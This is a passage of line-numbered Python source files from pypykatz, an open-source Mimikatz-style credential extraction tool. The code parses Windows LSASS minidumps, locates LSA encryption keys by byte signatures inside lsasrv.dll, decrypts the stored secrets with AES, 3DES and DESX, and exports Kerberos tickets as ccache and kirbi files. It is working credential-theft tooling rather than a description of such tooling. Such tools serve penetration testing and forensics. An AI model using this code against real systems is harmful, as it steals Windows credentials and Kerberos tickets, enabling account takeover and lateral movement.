137 | base_filename = ntpath.basename(filename) | |
138 | ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions | |
139 | results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename)) | |
140 | for luid in results[filename].logon_sessions: | |
141 | for kcred in results[filename].logon_sessions[luid].kerberos_creds: | |
142 | for ticket in kcred.tickets: | |
143 | ticket.to_kirbi(dir) | |
144 | ||
145 | for cred in results[filename].orphaned_creds: | |
146 | if cred.credtype == 'kerberos': | |
147 | for ticket in cred.tickets: | |
148 | ticket.to_kirbi(dir) | |
149 | ||
150 | def run_live(self, args): | |
151 | return | |
152 | ||
153 | async def run(self, args): | |
154 | files_with_error = [] | |
155 | results = {} | |
156 | ###### Minidump | |
157 | if args.cmd == 'minidump': | |
158 | if args.directory: | |
159 | dir_fullpath = os.path.abspath(args.memoryfile) | |
160 | file_pattern = '*.dmp' | |
161 | if args.recursive == True: | |
162 | globdata = os.path.join(dir_fullpath, '**', file_pattern) | |
163 | else: | |
164 | globdata = os.path.join(dir_fullpath, file_pattern) | |
165 | ||
166 | logging.info('Parsing folder %s' % dir_fullpath) | |
167 | for filename in glob.glob(globdata, recursive=args.recursive): | |
168 | logging.info('Parsing file %s' % filename) | |
169 | try: | |
170 | print('await') | |
171 | mimi = await apypykatz.parse_minidump_file(filename, packages = args.packages) | |
172 | results[filename] = mimi | |
173 | except Exception as e: | |
174 | files_with_error.append(filename) | |
175 | logging.exception('Error parsing file %s ' % filename) | |
176 | if args.halt_on_error == True: | |
177 | raise e | |
178 | else: | |
179 | pass | |
180 | ||
181 | else: | |
182 | logging.info('Parsing file %s' % args.memoryfile) | |
183 | try: | |
184 | mimi = await apypykatz.parse_minidump_file(args.memoryfile, packages = args.packages) | |
185 | results[args.memoryfile] = mimi | |
186 | except Exception as e: | |
187 | logging.exception('Error while parsing file %s' % args.memoryfile) | |
188 | if args.halt_on_error == True: | |
189 | raise e | |
190 | else: | |
191 | traceback.print_exc() | |
192 | ||
193 | self.process_results(results, files_with_error, args)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | from pypykatz.alsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 | |
6 | from pypykatz.alsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 | |
7 | from pypykatz.alsadecryptor.lsa_decryptor_nt6 import LsaDecryptor_NT6 | |
8 | from pypykatz.alsadecryptor.lsa_decryptor_nt5 import LsaDecryptor_NT5 | |
9 | ||
10 | class LsaDecryptor: | |
11 | def __init__(self): | |
12 | pass | |
13 | ||
14 | @staticmethod | |
15 | def choose(reader, decryptor_template, sysinfo): | |
16 | if isinstance(decryptor_template, LsaTemplate_NT5): | |
17 | return LsaDecryptor_NT5(reader, decryptor_template, sysinfo) | |
18 | else: | |
19 | return LsaDecryptor_NT6(reader, decryptor_template, sysinfo)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | import logging | |
7 | from pypykatz.crypto.RC4 import RC4 | |
8 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
9 | from pypykatz.alsadecryptor.win_datatypes import LONG | |
10 | ||
11 | class LsaDecryptor_NT5(PackageDecryptor): | |
12 | def __init__(self, reader, decryptor_template, sysinfo): | |
13 | super().__init__('LsaDecryptor', None, sysinfo, reader) | |
14 | self.decryptor_template = decryptor_template | |
15 | self.feedback = None | |
16 | self.feedback_offset = None | |
17 | self.des_key = None | |
18 | self.random_key = None | |
19 | self.acquire_crypto_material() | |
20 | ||
21 | def acquire_crypto_material(self): | |
22 | self.log('Acquireing crypto stuff...') | |
23 | sigpos = self.find_signature() | |
24 | self.reader.move(sigpos) | |
25 | #data = self.reader.peek(0x50) | |
26 | #self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) | |
27 | ||
28 | for x in [self.decryptor_template.feedback_ptr_offset , self.decryptor_template.old_feedback_offset]: | |
29 | self.feedback_offset = x | |
30 | ||
31 | try: | |
32 | self.feedback = self.get_feedback(sigpos) | |
33 | #self.log('Feedback bytes:\n%s' % hexdump(self.feedback, start = 0)) | |
34 | self.des_key = self.get_key(sigpos) | |
35 | self.random_key = self.get_random(sigpos) | |
36 | #self.log('randomkey bytes:\n%s' % hexdump(self.random_key, start = 0)) | |
37 | except: | |
38 | import traceback | |
39 | traceback.print_exc() | |
40 | input() | |
41 | else: | |
42 | break | |
43 | ||
44 | ||
45 | def get_feedback(self, sigpos): | |
46 | if self.decryptor_template.arch == 'x86': | |
47 | new_ptr = self.reader.get_ptr_with_offset(sigpos + self.feedback_offset) | |
48 | self.reader.move(new_ptr) | |
49 | return self.reader.read(8) | |
50 | else: | |
51 | self.reader.move(sigpos + self.feedback_offset) | |
52 | offset = LONG(self.reader).value | |
53 | newpos = sigpos + self.feedback_offset + 4 + offset | |
54 | self.reader.move(newpos) | |
55 | return self.reader.read(8) | |
56 | ||
57 | def get_key(self, sigpos): | |
58 | if self.decryptor_template.arch == 'x86': | |
59 | new_ptr = self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.desx_key_ptr_offset) | |
60 | self.reader.move(new_ptr) | |
61 | des_key_ptr = self.decryptor_template.key_struct_ptr(self.reader) | |
62 | des_key = des_key_ptr.read(self.reader) | |
63 | else: | |
64 | self.reader.move(sigpos + self.decryptor_template.desx_key_ptr_offset) | |
65 | offset = LONG(self.reader).value | |
66 | newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset | |
67 | self.reader.move(newpos) | |
68 | des_key_ptr = self.decryptor_template.key_struct_ptr(self.reader) | |
69 | des_key = des_key_ptr.read(self.reader) | |
70 | ||
71 | return des_key | |
72 | ||
73 | def get_random(self, sigpos): | |
74 | if self.decryptor_template.arch == 'x86': | |
75 | random_key_ptr = self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.randomkey_ptr_offset) | |
76 | random_key_ptr = self.reader.get_ptr_with_offset(random_key_ptr) | |
77 | self.reader.move(random_key_ptr) | |
78 | else: | |
79 | self.reader.move(sigpos + self.decryptor_template.randomkey_ptr_offset) | |
80 | offset = LONG(self.reader).value | |
81 | newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset | |
82 | self.reader.move(newpos) | |
83 | ||
84 | return self.reader.read(256) | |
85 | ||
86 | def find_signature(self): | |
87 | self.log('Looking for main struct signature in memory...') | |
88 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) | |
89 | if len(fl) == 0: | |
90 | logging.debug('signature not found! %s' % self.decryptor_template.signature.hex()) | |
91 | raise Exception('LSA signature not found!') | |
92 | ||
93 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) | |
94 | self.log('Selecting first one @ 0x%08x' % fl[0]) | |
95 | return fl[0] | |
96 | ||
97 | def decrypt(self, encrypted): | |
98 | # TODO: NT version specific, move from here in subclasses. | |
99 | cleartext = b'' | |
100 | size = len(encrypted) | |
101 | if size: | |
102 | if (size % 8) != 0: | |
103 | ctx = RC4(self.random_key) | |
104 | cleartext = ctx.decrypt(encrypted) | |
105 | else: | |
106 | #print('Decryption not implemented!') | |
107 | cleartext = self.__desx_decrypt(encrypted) | |
108 | #raise Exception('Not implemented!') | |
109 | ||
110 | return cleartext | |
111 | ||
112 | def dump(self): | |
113 | self.log('Recovered LSA encryption keys\n') | |
114 | self.log('Feedback ({}): {}'.format(len(self.feedback), self.feedback.hex())) | |
115 | self.log('Random Key ({}): {}'.format(len(self.random_key), self.random_key.hex())) | |
116 | self.log('DESX inputwhitening Key ({}): {}'.format(len(self.des_key.inputWhitening), self.des_key.inputWhitening.hex())) | |
117 | self.log('DESX outputwhitening Key ({}): {}'.format(len(self.des_key.outputWhitening), self.des_key.outputWhitening.hex())) | |
118 | #self.log('DESX DES Expanded Key ({}): {}' % (self.des_key.desKey.roundKey)) | |
119 | ||
120 | def __desx_decrypt_internal_block(self, chunk): | |
121 | chunk = xor(chunk, self.des_key.outputWhitening) | |
122 | chunk = self.__desx_internal_block(chunk, encrypt = False) | |
123 | chunk = xor(chunk, self.des_key.inputWhitening) | |
124 | return chunk | |
125 | ||
126 | def __desx_decrypt(self, data): | |
127 | res = b'' | |
128 | i = 0 | |
129 | ||
130 | IV = self.feedback | |
131 | while i != len(data): | |
132 | chunk = self.__desx_decrypt_internal_block(data[i:i+8]) | |
133 | res += xor(chunk, IV) | |
134 | IV = data[i:i+8] | |
135 | i += 8 | |
136 | ||
137 | return res | |
138 | ||
139 | def __desx_internal_block(self, data, encrypt = False): | |
140 | L = int.from_bytes(data[4:], 'little', signed = False) | |
141 | R = int.from_bytes(data[:4], 'little', signed = False) | |
142 | ||
143 | #t = 'ORIGINAL L: %s R: %s' % (L,R) | |
144 | #input(t) | |
145 | ||
146 | #print(hex(R)) | |
147 | R = rol32(R, 4) | |
148 | #input(hex(R)) | |
149 | Ta = (L ^ R) & 0xf0f0f0f0 | |
150 | #input('Ta ' + hex(Ta)) | |
151 | L = L ^ Ta | |
152 | R = R ^ Ta | |
153 | L = rol32(L, 20) | |
154 | Ta = (L ^ R) & 0xfff0000f | |
155 | #input('Ta ' + hex(Ta)) | |
156 | L = L ^ Ta | |
157 | R = R ^ Ta | |
158 | L = rol32(L, 14) | |
159 | Ta = (L ^ R) & 0x33333333 | |
160 | #input('Ta ' + hex(Ta)) | |
161 | L = L ^ Ta | |
162 | R = R ^ Ta | |
163 | R = rol32(R, 22) | |
164 | Ta = (L ^ R) & 0x03fc03fc | |
165 | #input('Ta ' + hex(Ta)) | |
166 | L = L ^ Ta | |
167 | R = R ^ Ta | |
168 | R = rol32(R, 9) | |
169 | Ta = (L ^ R) & 0xaaaaaaaa | |
170 | #input('Ta ' + hex(Ta)) | |
171 | L = L ^ Ta | |
172 | R = R ^ Ta | |
173 | L = rol32(L, 1) | |
174 | ||
175 | #t = 'BEFORE F! L: %s R: %s' % (L,R) | |
176 | #input(t) | |
177 | ||
178 | if encrypt: | |
179 | for i in range(0,14, 2): | |
180 | L, R = F(L, R, self.des_key.desKey.roundKey[i]) | |
181 | R, L = F(R, L, self.des_key.desKey.roundKey[i +1]) | |
182 | ||
183 | else: | |
184 | for i in range(14, -2, -2): | |
185 | #print(i) | |
186 | L, R = F(L, R, self.des_key.desKey.roundKey[i + 1]) | |
187 | #t = 'F(%s) L: %s R: %s' % (i, L,R) | |
188 | #input(t) | |
189 | R, L = F(R, L, self.des_key.desKey.roundKey[i]) | |
190 | #t = 'F(%s) L: %s R: %s' % (i, L,R) | |
191 | #input(t) | |
192 | ||
193 | #t = 'AFTER F! L: %s R: %s' % (L,R) | |
194 | #input(t) | |
195 | ||
196 | R = ror32(R, 1) | |
197 | Ta = (L ^ R) & 0xaaaaaaaa | |
198 | L = L ^ Ta | |
199 | R = R ^ Ta | |
200 | L = ror32(L, 9) | |
201 | Ta = (L ^ R) & 0x03fc03fc | |
202 | L ^= Ta | |
203 | R ^= Ta | |
204 | L = ror32(L, 22) | |
205 | Ta = (L ^ R) & 0x33333333 | |
206 | L ^= Ta | |
207 | R ^= Ta | |
208 | R = ror32(R, 14) | |
209 | Ta = (L ^ R) & 0xfff0000f | |
210 | L ^= Ta | |
211 | R ^= Ta | |
212 | R = ror32(R, 20) | |
213 | Ta = (L ^ R) & 0xf0f0f0f0 | |
214 | L ^= Ta | |
215 | R ^= Ta | |
216 | L = ror32(L, 4) | |
217 | ||
218 | return L.to_bytes(4, 'little', signed = False) + R.to_bytes(4, 'little', signed = False) | |
219 | ||
220 | ||
221 | SymCryptDesSpbox = [ | |
222 | [ | |
223 | 0x02080800, 0x00080000, 0x02000002, 0x02080802, 0x02000000, 0x00080802, 0x00080002, 0x02000002, 0x00080802, 0x02080800, 0x02080000, 0x00000802, 0x02000802, 0x02000000, 0x00000000, 0x00080002, | |
224 | 0x00080000, 0x00000002, 0x02000800, 0x00080800, 0x02080802, 0x02080000, 0x00000802, 0x02000800, 0x00000002, 0x00000800, 0x00080800, 0x02080002, 0x00000800, 0x02000802, 0x02080002, 0x00000000, | |
225 | 0x00000000, 0x02080802, 0x02000800, 0x00080002, 0x02080800, 0x00080000, 0x00000802, 0x02000800, 0x02080002, 0x00000800, 0x00080800, 0x02000002, 0x00080802, 0x00000002, 0x02000002, 0x02080000, | |
226 | 0x02080802, 0x00080800, 0x02080000, 0x02000802, 0x02000000, 0x00000802, 0x00080002, 0x00000000, 0x00080000, 0x02000000, 0x02000802, 0x02080800, 0x00000002, 0x02080002, 0x00000800, 0x00080802, | |
227 | ], | |
228 | [ | |
229 | 0x40108010, 0x00000000, 0x00108000, 0x40100000, 0x40000010, 0x00008010, 0x40008000, 0x00108000, 0x00008000, 0x40100010, 0x00000010, 0x40008000, 0x00100010, 0x40108000, 0x40100000, 0x00000010, | |
230 | 0x00100000, 0x40008010, 0x40100010, 0x00008000, 0x00108010, 0x40000000, 0x00000000, 0x00100010, 0x40008010, 0x00108010, 0x40108000, 0x40000010, 0x40000000, 0x00100000, 0x00008010, 0x40108010, | |
231 | 0x00100010, 0x40108000, 0x40008000, 0x00108010, 0x40108010, 0x00100010, 0x40000010, 0x00000000, 0x40000000, 0x00008010, 0x00100000, 0x40100010, 0x00008000, 0x40000000, 0x00108010, 0x40008010, | |
232 | 0x40108000, 0x00008000, 0x00000000, 0x40000010, 0x00000010, 0x40108010, 0x00108000, 0x40100000, 0x40100010, 0x00100000, 0x00008010, 0x40008000, 0x40008010, 0x00000010, 0x40100000, 0x00108000, | |
233 | ], | |
234 | [ | |
235 | 0x04000001, 0x04040100, 0x00000100, 0x04000101, 0x00040001, 0x04000000, 0x04000101, 0x00040100, 0x04000100, 0x00040000, 0x04040000, 0x00000001, 0x04040101, 0x00000101, 0x00000001, 0x04040001, | |
236 | 0x00000000, 0x00040001, 0x04040100, 0x00000100, 0x00000101, 0x04040101, 0x00040000, 0x04000001, 0x04040001, 0x04000100, 0x00040101, 0x04040000, 0x00040100, 0x00000000, 0x04000000, 0x00040101, | |
237 | 0x04040100, 0x00000100, 0x00000001, 0x00040000, 0x00000101, 0x00040001, 0x04040000, 0x04000101, 0x00000000, 0x04040100, 0x00040100, 0x04040001, 0x00040001, 0x04000000, 0x04040101, 0x00000001, | |
238 | 0x00040101, 0x04000001, 0x04000000, 0x04040101, 0x00040000, 0x04000100, 0x04000101, 0x00040100, 0x04000100, 0x00000000, 0x04040001, 0x00000101, 0x04000001, 0x00040101, 0x00000100, 0x04040000, | |
239 | ], | |
240 | [ | |
241 | 0x00401008, 0x10001000, 0x00000008, 0x10401008, 0x00000000, 0x10400000, 0x10001008, 0x00400008, 0x10401000, 0x10000008, 0x10000000, 0x00001008, 0x10000008, 0x00401008, 0x00400000, 0x10000000, | |
242 | 0x10400008, 0x00401000, 0x00001000, 0x00000008, 0x00401000, 0x10001008, 0x10400000, 0x00001000, 0x00001008, 0x00000000, 0x00400008, 0x10401000, 0x10001000, 0x10400008, 0x10401008, 0x00400000, | |
243 | 0x10400008, 0x00001008, 0x00400000, 0x10000008, 0x00401000, 0x10001000, 0x00000008, 0x10400000, 0x10001008, 0x00000000, 0x00001000, 0x00400008, 0x00000000, 0x10400008, 0x10401000, 0x00001000, | |
244 | 0x10000000, 0x10401008, 0x00401008, 0x00400000, 0x10401008, 0x00000008, 0x10001000, 0x00401008, 0x00400008, 0x00401000, 0x10400000, 0x10001008, 0x00001008, 0x10000000, 0x10000008, 0x10401000, | |
245 | ], | |
246 | [ | |
247 | 0x08000000, 0x00010000, 0x00000400, 0x08010420, 0x08010020, 0x08000400, 0x00010420, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x00010400, 0x08000420, 0x08010020, 0x08010400, 0x00000000, | |
248 | 0x00010400, 0x08000000, 0x00010020, 0x00000420, 0x08000400, 0x00010420, 0x00000000, 0x08000020, 0x00000020, 0x08000420, 0x08010420, 0x00010020, 0x08010000, 0x00000400, 0x00000420, 0x08010400, | |
249 | 0x08010400, 0x08000420, 0x00010020, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x08000400, 0x08000000, 0x00010400, 0x08010420, 0x00000000, 0x00010420, 0x08000000, 0x00000400, 0x00010020, | |
250 | 0x08000420, 0x00000400, 0x00000000, 0x08010420, 0x08010020, 0x08010400, 0x00000420, 0x00010000, 0x00010400, 0x08010020, 0x08000400, 0x00000420, 0x00000020, 0x00010420, 0x08010000, 0x08000020, | |
251 | ], | |
252 | [ | |
253 | 0x80000040, 0x00200040, 0x00000000, 0x80202000, 0x00200040, 0x00002000, 0x80002040, 0x00200000, 0x00002040, 0x80202040, 0x00202000, 0x80000000, 0x80002000, 0x80000040, 0x80200000, 0x00202040, | |
254 | 0x00200000, 0x80002040, 0x80200040, 0x00000000, 0x00002000, 0x00000040, 0x80202000, 0x80200040, 0x80202040, 0x80200000, 0x80000000, 0x00002040, 0x00000040, 0x00202000, 0x00202040, 0x80002000, | |
255 | 0x00002040, 0x80000000, 0x80002000, 0x00202040, 0x80202000, 0x00200040, 0x00000000, 0x80002000, 0x80000000, 0x00002000, 0x80200040, 0x00200000, 0x00200040, 0x80202040, 0x00202000, 0x00000040, | |
256 | 0x80202040, 0x00202000, 0x00200000, 0x80002040, 0x80000040, 0x80200000, 0x00202040, 0x00000000, 0x00002000, 0x80000040, 0x80002040, 0x80202000, 0x80200000, 0x00002040, 0x00000040, 0x80200040, | |
257 | ], | |
258 | [ | |
259 | 0x00004000, 0x00000200, 0x01000200, 0x01000004, 0x01004204, 0x00004004, 0x00004200, 0x00000000, 0x01000000, 0x01000204, 0x00000204, 0x01004000, 0x00000004, 0x01004200, 0x01004000, 0x00000204, | |
260 | 0x01000204, 0x00004000, 0x00004004, 0x01004204, 0x00000000, 0x01000200, 0x01000004, 0x00004200, 0x01004004, 0x00004204, 0x01004200, 0x00000004, 0x00004204, 0x01004004, 0x00000200, 0x01000000, | |
261 | 0x00004204, 0x01004000, 0x01004004, 0x00000204, 0x00004000, 0x00000200, 0x01000000, 0x01004004, 0x01000204, 0x00004204, 0x00004200, 0x00000000, 0x00000200, 0x01000004, 0x00000004, 0x01000200, | |
262 | 0x00000000, 0x01000204, 0x01000200, 0x00004200, 0x00000204, 0x00004000, 0x01004204, 0x01000000, 0x01004200, 0x00000004, 0x00004004, 0x01004204, 0x01000004, 0x01004200, 0x01004000, 0x00004004, | |
263 | ], | |
264 | [ | |
265 | 0x20800080, 0x20820000, 0x00020080, 0x00000000, 0x20020000, 0x00800080, 0x20800000, 0x20820080, 0x00000080, 0x20000000, 0x00820000, 0x00020080, 0x00820080, 0x20020080, 0x20000080, 0x20800000, | |
266 | 0x00020000, 0x00820080, 0x00800080, 0x20020000, 0x20820080, 0x20000080, 0x00000000, 0x00820000, 0x20000000, 0x00800000, 0x20020080, 0x20800080, 0x00800000, 0x00020000, 0x20820000, 0x00000080, | |
267 | 0x00800000, 0x00020000, 0x20000080, 0x20820080, 0x00020080, 0x20000000, 0x00000000, 0x00820000, 0x20800080, 0x20020080, 0x20020000, 0x00800080, 0x20820000, 0x00000080, 0x00800080, 0x20020000, | |
268 | 0x20820080, 0x00800000, 0x20800000, 0x20000080, 0x00820000, 0x00020080, 0x20020080, 0x20800000, 0x00000080, 0x20820000, 0x00820080, 0x00000000, 0x20000000, 0x20800080, 0x00020000, 0x00820080, | |
269 | ], | |
270 | ] | |
271 | ||
272 | def F(L, R, keya): | |
273 | Ta = keya[0] ^ R | |
274 | Tb = keya[1] ^ R | |
275 | Tb = ror32(Tb, 4) | |
276 | L ^= SymCryptDesSpbox[0][ (Ta & 0xfc) // 4] | |
277 | L ^= SymCryptDesSpbox[1][ (Tb & 0xfc) // 4] | |
278 | L ^= SymCryptDesSpbox[2][((Ta>> 8)& 0xfc)//4] | |
279 | L ^= SymCryptDesSpbox[3][((Tb>> 8)& 0xfc)//4] | |
280 | L ^= SymCryptDesSpbox[4][((Ta>>16)& 0xfc)//4] | |
281 | L ^= SymCryptDesSpbox[5][((Tb>>16)& 0xfc)//4] | |
282 | L ^= SymCryptDesSpbox[6][((Ta>>24)& 0xfc)//4] | |
283 | L ^= SymCryptDesSpbox[7][((Tb>>24)& 0xfc)//4] | |
284 | return L, R | |
285 | ||
286 | ||
287 | def rol32(n, d): | |
288 | return ((n << d)|(n >> (32 - d))) & 0xFFFFFFFF | |
289 | ||
290 | def ror32(n, d): | |
291 | return ((n >> d)|(n << (32 - d))) & 0xFFFFFFFF | |
292 | ||
293 | def xor(d1, d2): | |
294 | return bytes(a ^ b for (a, b) in zip(d1, d2)) | |
295 |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | ||
7 | from pypykatz import logger | |
8 | from pypykatz.commons.common import hexdump | |
9 | from pypykatz.crypto.des import triple_des, CBC | |
10 | from pypykatz.crypto.aes import AESModeOfOperationCFB | |
11 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
12 | ||
13 | class LsaDecryptor_NT6(PackageDecryptor): | |
14 | def __init__(self, reader, decryptor_template, sysinfo): | |
15 | super().__init__('LsaDecryptor', None, sysinfo, reader) | |
16 | self.decryptor_template = decryptor_template | |
17 | self.iv = None | |
18 | self.aes_key = None | |
19 | self.des_key = None | |
20 | ||
21 | async def acquire_crypto_material(self): | |
22 | self.log('Acquireing crypto stuff...') | |
23 | sigpos = await self.find_signature() | |
24 | await self.reader.move(sigpos) | |
25 | data = await self.reader.peek(0x50) | |
26 | self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) | |
27 | self.iv = await self.get_IV(sigpos) | |
28 | self.des_key = await self.get_des_key(sigpos) | |
29 | self.aes_key = await self.get_aes_key(sigpos) | |
30 | ||
31 | async def get_des_key(self, pos): | |
32 | self.log('Acquireing DES key...') | |
33 | return await self.get_key(pos, self.decryptor_template.key_pattern.offset_to_DES_key_ptr) | |
34 | ||
35 | async def get_aes_key(self, pos): | |
36 | self.log('Acquireing AES key...') | |
37 | return await self.get_key(pos, self.decryptor_template.key_pattern.offset_to_AES_key_ptr) | |
38 | ||
39 | async def find_signature(self): | |
40 | self.log('Looking for main struct signature in memory...') | |
41 | fl = await self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True) | |
42 | if len(fl) == 0: | |
43 | logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
44 | raise Exception('LSA signature not found!') | |
45 | ||
46 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) | |
47 | self.log('Selecting first one @ 0x%08x' % fl[0]) | |
48 | return fl[0] | |
49 | ||
50 | async def get_IV(self, pos): | |
51 | self.log('Reading IV') | |
52 | #print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr)) | |
53 | ptr_iv = await self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr) | |
54 | self.log('IV pointer takes us to 0x%08x' % ptr_iv) | |
55 | await self.reader.move(ptr_iv) | |
56 | data = await self.reader.read(self.decryptor_template.key_pattern.IV_length) | |
57 | self.log('IV data: %s' % hexdump(data)) | |
58 | return data | |
59 | ||
60 | async def get_key(self, pos, key_offset): | |
61 | ptr_key = await self.reader.get_ptr_with_offset(pos + key_offset) | |
62 | self.log('key handle pointer is @ 0x%08x' % ptr_key) | |
63 | ptr_key = await self.reader.get_ptr(ptr_key) | |
64 | self.log('key handle is @ 0x%08x' % ptr_key) | |
65 | await self.reader.move(ptr_key) | |
66 | data = await self.reader.peek(0x50) | |
67 | self.log('BCRYPT_HANLE_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) | |
68 | kbhk = await self.decryptor_template.key_handle_struct.load(self.reader) | |
69 | if kbhk.verify(): | |
70 | ptr_key = kbhk.ptr_key.value | |
71 | await self.reader.move(ptr_key) | |
72 | data = await self.reader.peek(0x50) | |
73 | self.log('BCRYPT_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) | |
74 | kbk = await kbhk.ptr_key.read(self.reader, self.decryptor_template.key_struct) | |
75 | self.log('HARD_KEY SIZE: 0x%x' % kbk.size) | |
76 | if kbk.verify(): | |
77 | self.log('HARD_KEY data:\n%s' % hexdump(kbk.hardkey.data)) | |
78 | return kbk.hardkey.data | |
79 | ||
80 | def decrypt(self, encrypted): | |
81 | # TODO: NT version specific, move from here in subclasses. | |
82 | cleartext = b'' | |
83 | size = len(encrypted) | |
84 | if size: | |
85 | if size % 8: | |
86 | if not self.aes_key or not self.iv: | |
87 | return cleartext | |
88 | cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv) | |
89 | cleartext = cipher.decrypt(encrypted) | |
90 | else: | |
91 | if not self.des_key or not self.iv: | |
92 | return cleartext | |
93 | cipher = triple_des(self.des_key, CBC, self.iv[:8]) | |
94 | cleartext = cipher.decrypt(encrypted) | |
95 | return cleartext | |
96 | ||
97 | def dump(self): | |
98 | self.log('Recovered LSA encryption keys\n') | |
99 | self.log('IV ({}): {}'.format(len(self.iv), self.iv.hex())) | |
100 | self.log('DES_KEY ({}): {}'.format(len(self.des_key), self.des_key.hex())) | |
101 | self.log('AES_KEY ({}): {}'.format(len(self.aes_key), self.aes_key.hex()))⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from pypykatz.alsadecryptor.win_datatypes import POINTER | |
7 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild | |
8 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
9 | ||
10 | class LsaTemplate_NT5(PackageTemplate): | |
11 | def __init__(self): | |
12 | self.signature = None | |
13 | self.feedback = None | |
14 | self.randomkey_ptr = None | |
15 | self.DESXKey_ptr = None | |
16 | self.key_struct = None | |
17 | ||
18 | ||
19 | @staticmethod | |
20 | def get_template_brute(sysinfo): | |
21 | raise Exception('Template guessing is not applicable for NT5') | |
22 | ||
23 | ||
24 | @staticmethod | |
25 | def get_template(sysinfo): | |
26 | if sysinfo.architecture == KatzSystemArchitecture.X86: | |
27 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: | |
28 | return templates['nt5']['x86']['1'] | |
29 | else: | |
30 | raise Exception('NT 6 is in another castle!') | |
31 | ||
32 | elif sysinfo.architecture == KatzSystemArchitecture.X64: | |
33 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: | |
34 | return templates['nt5']['x64']['1'] | |
35 | else: | |
36 | raise Exception('NT 6 is in another castle!') | |
37 | ||
38 | class SYMCRYPT_NT5_DES_EXPANDED_KEY: | |
39 | def __init__(self, reader): | |
40 | self.roundKey = [] | |
41 | for _ in range(16): | |
42 | r = int.from_bytes(reader.read(4), 'little', signed = False) | |
43 | l = int.from_bytes(reader.read(4), 'little', signed = False) | |
44 | self.roundKey.append([r, l]) | |
45 | ||
46 | def __str__(self): | |
47 | t = 'SYMCRYPT_NT5_DES_EXPANDED_KEY\r\n' | |
48 | for i, x in enumerate(self.roundKey): | |
49 | t += '%s L: %s R: %s\r\n' % (i, hex(x[0]), hex(x[1])) | |
50 | return t | |
51 | ||
52 | class SYMCRYPT_NT5_DESX_EXPANDED_KEY: | |
53 | def __init__(self, reader): | |
54 | self.inputWhitening = reader.read(8) | |
55 | self.outputWhitening = reader.read(8) | |
56 | self.desKey = SYMCRYPT_NT5_DES_EXPANDED_KEY(reader) | |
57 | ||
58 | def __str__(self): | |
59 | t = 'SYMCRYPT_NT5_DESX_EXPANDED_KEY\r\n' | |
60 | t += 'inputWhitening : %s\r\n' % (self.inputWhitening.hex()) | |
61 | t += 'outputWhitening : %s\r\n' % (self.outputWhitening.hex()) | |
62 | t += 'desKey : %s\r\n' % (str(self.desKey)) | |
63 | return t | |
64 | ||
65 | class PSYMCRYPT_NT5_DESX_EXPANDED_KEY(POINTER): | |
66 | def __init__(self, reader): | |
67 | super().__init__(reader, SYMCRYPT_NT5_DESX_EXPANDED_KEY) | |
68 | ||
69 | class LSA_x64_nt5_1(LsaTemplate_NT5): | |
70 | def __init__(self): | |
71 | LsaTemplate_NT5.__init__(self) | |
72 | self.arch = 'x64' | |
73 | self.signature = b'\x33\xdb\x8b\xc3\x48\x83\xc4\x20\x5b\xc3' | |
74 | self.nt_major = '5' | |
75 | self.feedback_ptr_offset = -67 | |
76 | self.randomkey_ptr_offset = -17 | |
77 | self.desx_key_ptr_offset = -35 | |
78 | self.old_feedback_offset = 29 | |
79 | self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY | |
80 | ||
81 | class LSA_x86_nt5_1(LsaTemplate_NT5): | |
82 | def __init__(self): | |
83 | LsaTemplate_NT5.__init__(self) | |
84 | self.arch = 'x86' | |
85 | self.nt_major = '5' | |
86 | self.signature = b'\x05\x90\x00\x00\x00\x6a\x18\x50\xa3' | |
87 | self.feedback_ptr_offset = 25 | |
88 | self.randomkey_ptr_offset = 9 | |
89 | self.desx_key_ptr_offset = -4 | |
90 | self.old_feedback_offset = 29 | |
91 | self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY | |
92 | ||
93 | ||
94 | templates = { | |
95 | 'nt5' : { | |
96 | 'x86': { | |
97 | '1' : LSA_x86_nt5_1(), | |
98 | }, | |
99 | 'x64': { | |
100 | '1' : LSA_x64_nt5_1(), | |
101 | } | |
102 | } | |
103 | }⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | ||
